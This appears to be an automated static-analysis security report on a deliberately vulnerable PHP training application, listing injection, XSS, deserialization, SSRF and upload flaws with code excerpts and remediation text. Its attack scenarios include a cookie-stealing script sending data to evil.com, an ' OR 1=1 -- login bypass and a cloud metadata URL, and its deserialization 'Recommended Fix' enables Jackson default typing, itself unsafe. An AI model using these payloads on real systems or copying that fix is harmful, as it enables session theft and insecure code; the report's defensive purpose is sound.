Pathkey®

ShieldEaze Security Report

source-xvwa

March 28, 2026 05:44 UTC
Prepared for E2E Test Customer
Internal

Table of Contents

overview

Executive Summary

Quality Gate: FAILED

45 critical/high severity findings across all scanners.

66 total findings identified. 3 low-confidence findings collapsed below.

This codebase has 11.8 security findings per KLOC. Industry average for javascript applications is 3.8 per KLOC.

3 hardcoded secrets found in source files. 32 critical severity findings across all scanners.

OWASP Top 10: 1/10 categories passing, 9 with findings.

Finding Summary

32
Critical
13
High
21
Medium
0
Low
0
Info

Total findings: 66

Findings by Scanner

ScannerCriticalHighMediumLowInfoTotal
SAST 32 13 18 63
Secrets 3 3
Severity Distribution
66TOTALCritical32High13Medium21
Findings by Scanner
SAST63Secrets3

Top Critical Findings

ScannerRuleFileDescription
sastrules.sast.php.php-command-injection-taintvulnerabilities/cmdi/home.php:38Php Command Injection Taint
sastrules.sast.php.php-xss-taintvulnerabilities/cmdi/home.php:39Php XSS Taint
sastrules.sast.php.php-command-injection-taintvulnerabilities/cmdi/home.php:42Php Command Injection Taint
sastrules.sast.php.php-xss-taintvulnerabilities/cmdi/home.php:43Php XSS Taint
sastrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php:46Php XSS Taint
action items

Top Priority Fixes

#FindingSeverityReasonEffort
1 Php XSS Taint
vulnerabilities/cmdi/home.php:43
Critical Critical severity 60 min
2 Php Command Injection Taint
vulnerabilities/cmdi/home.php:38
Critical Critical severity 60 min
3 Php XSS Taint
vulnerabilities/cmdi/home.php:39
Critical Critical severity 60 min
4 Php Command Injection Taint
vulnerabilities/cmdi/home.php:42
Critical Critical severity 60 min
5 Php XSS Taint
vulnerabilities/crypto/home.php:82
Critical Critical severity 60 min
6 Php XSS Taint
vulnerabilities/crypto/home.php:77
Critical Critical severity 60 min
7 Php XSS Taint
vulnerabilities/crypto/home.php:71
Critical Critical severity 60 min
8 Php XSS Taint
vulnerabilities/crypto/home.php:46
Critical Critical severity 60 min
9 Php Insecure Deserialization Taint
vulnerabilities/php_object_injection/home.php:38
Critical Critical severity 60 min
10 Php XSS Taint
vulnerabilities/php_object_injection/home.php:42
Critical Critical severity 60 min
security analysis

Security Findings (SAST)

Critical Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79) 24 instances Application → Browser (HTML Rendering) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-xss-taintvulnerabilities/cmdi/home.php39Php XSS TaintA03:2021
echo '<pre>'.$cmd.'</pre>';
Mediumrules.sast.php.php-xss-taintvulnerabilities/cmdi/home.php43Php XSS TaintA03:2021
echo '<pre>'.$cmd.'</pre>';
Mediumrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php46Php XSS TaintA03:2021
echo "<td style=\"word-wrap:break-word;\">". base64_encode($str)."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php71Php XSS TaintA03:2021
echo "<td style=\"word-wrap:break-word;\">". $ciphertext_base64 . "</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php77Php XSS TaintA03:2021
echo "<td style=\"word-wrap:break-word;\">" . md5($str)."</td></tr>";
19 more instances (click to expand)
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php82Php XSS TaintA03:2021
echo "<td style=\"word-wrap:break-word;\">" . create_hash($str)."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/php_object_injection/home.php42Php XSS TaintA03:2021
echo "<br/>".$var1[0]." - ".$var1[1];
Mediumrules.sast.php.php-xss-direct-outputvulnerabilities/reflected_xss/home.php32Php XSS Direct OutputA03:2021
echo $_GET['item'];
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php67Php XSS TaintA03:2021
echo "<tr><td><b>Item Code : </b>".$rows['itemcode']."</td><td rowspan=5>&nbsp;&nbsp;</td><td rowspan=5 valign=\"top\" align=\"justify\"><b>Description : </b>".$rows['itemdesc']."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php68Php XSS TaintA03:2021
echo "<tr><td><b>Item Name : </b>".$rows['itemname']."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php69Php XSS TaintA03:2021
echo "<td><img src='".$rows['itemdisplay']."' height=130 weight=20/></td>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php70Php XSS TaintA03:2021
echo "<tr><td><b>Category : </b>".$rows['categ']."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php71Php XSS TaintA03:2021
echo "<tr><td><b>Price : </b>".$rows['price']."$</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php71Php XSS TaintA03:2021
echo "<tr><td><b>Item Code : </b>".$rows['itemcode']."</td><td rowspan=5>&nbsp;&nbsp;</td><td rowspan=5 valign=\"top\" align=\"justify\"><b>Description : </b>".$rows['itemdesc']."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php72Php XSS TaintA03:2021
echo "<tr><td><b>Item Name : </b>".$rows['itemname']."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php73Php XSS TaintA03:2021
echo "<td><img src='".$rows['itemdisplay']."' height=130 weight=20/></td>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php74Php XSS TaintA03:2021
echo "<tr><td><b>Category : </b>".$rows['categ']."</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php75Php XSS TaintA03:2021
echo "<tr><td><b>Price : </b>".$rows['price']."$</td></tr>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/ssrf_xspa/home.php36Php XSS TaintA03:2021
echo $_POST['img_url']."<br>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/ssti/home.php51Php XSS TaintA03:2021
echo "Hello $result";
Mediumrules.sast.php.php-xss-taintvulnerabilities/ssti/ssti.php22Php XSS TaintA03:2021
echo "Hello $result";
Mediumrules.sast.php.php-xss-taintvulnerabilities/xpath/home.php35Php XSS TaintA03:2021
<input type="text" class="form-control" placeholder="Search by ID" name="search" value="<?php if(isset($input)){echo $input;}?>"> </input> <br>
Mediumrules.sast.php.php-xss-taintvulnerabilities/xpath/home.php49Php XSS TaintA03:2021
echo "<tr><td valign=\"top\">".$row->getElementsByTagName('ID')->item(0)->nodeValue."</td><td>&nbsp;&nbsp;</td>";
Mediumrules.sast.php.php-xss-taintvulnerabilities/xpath/home.php50Php XSS TaintA03:2021
echo "<td valign=\"top\"><b>".$row->getElementsByTagName('Name')->item(0)->nodeValue."</b><br>".$row->getElementsByTagName('Desc')->item(0)->nodeValue."</td></tr>";
Mitigation — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Attack Scenario: Attacker injects <script>document.location='https://evil.com/steal?c='+document.cookie</script> in a comment field, stealing session cookies of all viewers.
Impact:
Access Control, Confidentiality: Bypass Protection Mechanism, Read Application Data; Integrity, Confidentiality, Availability: Execute Unauthorized Code or Commands; Confidentiality, Integrity, Availability, Access Control: Execute Unauthorized Code or Commands, Bypass Protection Mechanism, Read Application Data
Likelihood:
High
Ease of Exploitation:
Easy
Remediation Steps:
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Implementation, Architecture and Design Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: - HTML body - Element attributes (such as src="XYZ") - URIs - JavaScript sections - Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
10 more remediation steps...
Architecture and Design, Implementation Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Implementation Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Implementation With Struts, write all data from form beans with the bean's filter attribute set to true.
Implementation To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Operation Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Operation, Implementation When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
PHP
Vulnerable Pattern
```
	$username = $_GET['username'];
	echo '<div class="header"> Welcome, ' . $username . '</div>';
```
CWE-79 Details | Related: CAPEC-209 CAPEC-588 CAPEC-591 CAPEC-592 CAPEC-63 CAPEC-85
↑ Back to findings
Critical Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89) 5 instances Application → Database (SQL Execution) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-sql-injection-taintvulnerabilities/sqli/home.php57Php SQL Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-sql-injection-taintvulnerabilities/sqli/home.php61Php SQL Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-sql-injection-taintvulnerabilities/sqli_blind/home.php55Php SQL Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-sql-injection-taintvulnerabilities/sqli_blind/home.php62Php SQL Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-sql-injection-taintvulnerabilities/xpath/home.php10Php SQL Injection TaintA03:2021
$result = $xpath->query($query);
Mitigation — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Attack Scenario: Attacker submits ' OR 1=1 -- in a login form, bypassing authentication and dumping the entire user table.
Impact:
Confidentiality, Integrity, Availability: Execute Unauthorized Code or Commands; Confidentiality: Read Application Data; Authentication: Gain Privileges or Assume Identity, Bypass Protection Mechanism; Access Control: Bypass Protection Mechanism; Integrity: Modify Application Data
Likelihood:
High
Ease of Exploitation:
Easy
Remediation Steps:
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Architecture and Design If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
8 more remediation steps...
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Implementation Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Operation Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Operation, Implementation When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Example
CWE-89 Details | Related: CAPEC-108 CAPEC-109 CAPEC-110 CAPEC-470 CAPEC-66 CAPEC-7
↑ Back to findings
Critical CWE-77, CWE-78 (CWE-77, CWE-78) 2 instances Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-command-injection-taintvulnerabilities/cmdi/home.php38Php Command Injection TaintA03:2021
$cmd = shell_exec( 'ping ' . $target );
Mediumrules.sast.php.php-command-injection-taintvulnerabilities/cmdi/home.php42Php Command Injection TaintA03:2021
$cmd = shell_exec( 'ping -c 3 ' . $target );
Critical Deserialization of Untrusted Data (CWE-502) 1 instance External Data → Application (Object Deserialization) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-insecure-deserialization-taintvulnerabilities/php_object_injection/home.php38Php Insecure Deserialization TaintA08:2021
$var1=unserialize($_REQUEST['r']);
Mitigation — Deserialization of Untrusted Data
Attack Scenario: Attacker sends a crafted serialized Java object that triggers arbitrary code execution when the application deserializes it via ObjectInputStream.
Impact:
Integrity: Modify Application Data, Unexpected State; Availability: DoS: Resource Consumption (CPU); Other: Varies by Context
Likelihood:
Medium
Ease of Exploitation:
Moderate
Remediation Steps:
Architecture and Design, Implementation If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Implementation When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
5 more remediation steps...
Implementation Explicitly define a final object() to prevent deserialization.
Architecture and Design, Implementation Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Implementation Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Architecture and Design, Implementation Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Operation Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Java
Vulnerable Pattern
```
	try {
		File file = new File("object.obj");
		ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
		javax.swing.JButton button = (javax.swing.JButton) in.readObject();
		in.close();
	}
```
Recommended Fix
```java
// Option 1: Use JSON instead of Java serialization
ObjectMapper mapper = new ObjectMapper();
mapper.activateDefaultTyping(
    mapper.getPolymorphicTypeValidator(),
    ObjectMapper.DefaultTyping.NON_FINAL
);
MyObject obj = mapper.readValue(input, MyObject.class);

// Option 2: Use ObjectInputFilter (Java 9+)
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"
));
```
CWE-502 Details | Related: CAPEC-586
↑ Back to findings
High Improper Neutralization of Data within XPath Expressions ('XPath Injection') (CWE-643) 5 instances Application → XML Parser (XPath Query) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli/home.php57Php Xpath Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli/home.php61Php Xpath Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli_blind/home.php55Php Xpath Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli_blind/home.php62Php Xpath Injection TaintA03:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-xpath-injection-taintvulnerabilities/xpath/home.php10Php Xpath Injection TaintA03:2021
$result = $xpath->query($query);
Mitigation — Improper Neutralization of Data within XPath Expressions ('XPath Injection')
Attack Scenario: Attacker injects XPath expressions to bypass authentication or extract data from XML-based data stores.
Impact:
Access Control: Bypass Protection Mechanism; Confidentiality: Read Application Data
Likelihood:
High
Ease of Exploitation:
Moderate
Remediation Steps:
Implementation Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.
Implementation Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.
Java
Vulnerable Pattern
```
	XPath xpath = XPathFactory.newInstance().newXPath();
	XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()");
	Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
	String homedir = xlogin.evaluate(d);
```
↑ Back to findings
High CWE-22, CWE-98 (CWE-22, CWE-98) 3 instances Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-path-traversal-include-taintvulnerabilities/fi/home.php36Php Path Traversal Include TaintA01:2021
include($file);
Mediumrules.sast.php.php-path-traversal-include-taintvulnerabilities/ssrf_xspa/home.php33Php Path Traversal Include TaintA01:2021
$remote_content = file_get_contents($_POST['img_url']);
Mediumrules.sast.php.php-path-traversal-include-taintvulnerabilities/ssrf_xspa/home.php35Php Path Traversal Include TaintA01:2021
file_put_contents($filename, $remote_content);
High CWE-287, CWE-327 (CWE-287, CWE-327) 2 instances Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-md5-password-hashlogin.php4Php MD5 Password HashA02:2021, A07:2021
$password = md5($_POST['password']);
Mediumrules.sast.php.php-md5-password-hashvulnerabilities/csrf/home.php41Php MD5 Password HashA02:2021, A07:2021
$stmt->bindParam(':pass', md5($password));
High CWE-327, CWE-328 (CWE-327, CWE-328) 1 instance Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-md5-password-hash-directvulnerabilities/csrf/home.php41Php MD5 Password Hash DirectA02:2021
$stmt->bindParam(':pass', md5($password));
High Server-Side Request Forgery (SSRF) (CWE-918) 1 instance Application → Network (HTTP Request) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-ssrf-taintvulnerabilities/ssrf_xspa/home.php33Php SSRF TaintA10:2021
$remote_content = file_get_contents($_POST['img_url']);
Mitigation — Server-Side Request Forgery (SSRF)
Attack Scenario: Attacker manipulates a URL parameter to make the server fetch internal resources like http://169.254.169.254/latest/meta-data/ to steal cloud credentials.
Impact:
Confidentiality: Read Application Data; Integrity: Execute Unauthorized Code or Commands; Access Control: Bypass Protection Mechanism
Ease of Exploitation:
Difficult
PHP
Vulnerable Pattern
```
	$url = $_GET['url'];
```
# User-controlled input* 
	
	
	 *# Fetch the content of the provided URL* 
	$response = file_get_contents($url);
	
	echo $response;
CWE-918 Details | Related: CAPEC-664
↑ Back to findings
High Unrestricted Upload of File with Dangerous Type (CWE-434) 1 instance External Data → Filesystem (File Upload) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-unrestricted-file-upload-taintvulnerabilities/fileupload/home.php70Php Unrestricted File Upload TaintA04:2021
if(!move_uploaded_file($_FILES['image']['tmp_name'], $path)) {
Mitigation — Unrestricted Upload of File with Dangerous Type
Attack Scenario: Attacker uploads a .jsp web shell disguised as a profile image, then accesses it directly to gain remote code execution on the server.
Impact:
Integrity, Confidentiality, Availability: Execute Unauthorized Code or Commands
Likelihood:
Medium
Ease of Exploitation:
Moderate
Remediation Steps:
Architecture and Design Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
10 more remediation steps...
Architecture and Design Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Architecture and Design Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Implementation Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Implementation When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Implementation Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
PHP
Vulnerable Pattern
```
```
// Define the target location where the picture being* 
	
	
	 *// uploaded is going to be saved.* 
	$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
	
	
	 *// Move the uploaded file to the new location.* 
	if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
	{
	```
		echo "The picture has been successfully uploaded.";
	}
	else
	{
		echo "There was an error uploading the picture, please try again.";
	}
```
CWE-434 Details | Related: CAPEC-1
↑ Back to findings
Medium Cross-Site Request Forgery (CSRF) (CWE-352) 5 instances Browser → Application (State-Changing Request) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli/home.php57Php CSRF Direct Post To SQLA01:2021
$result = $conn->query($sql);
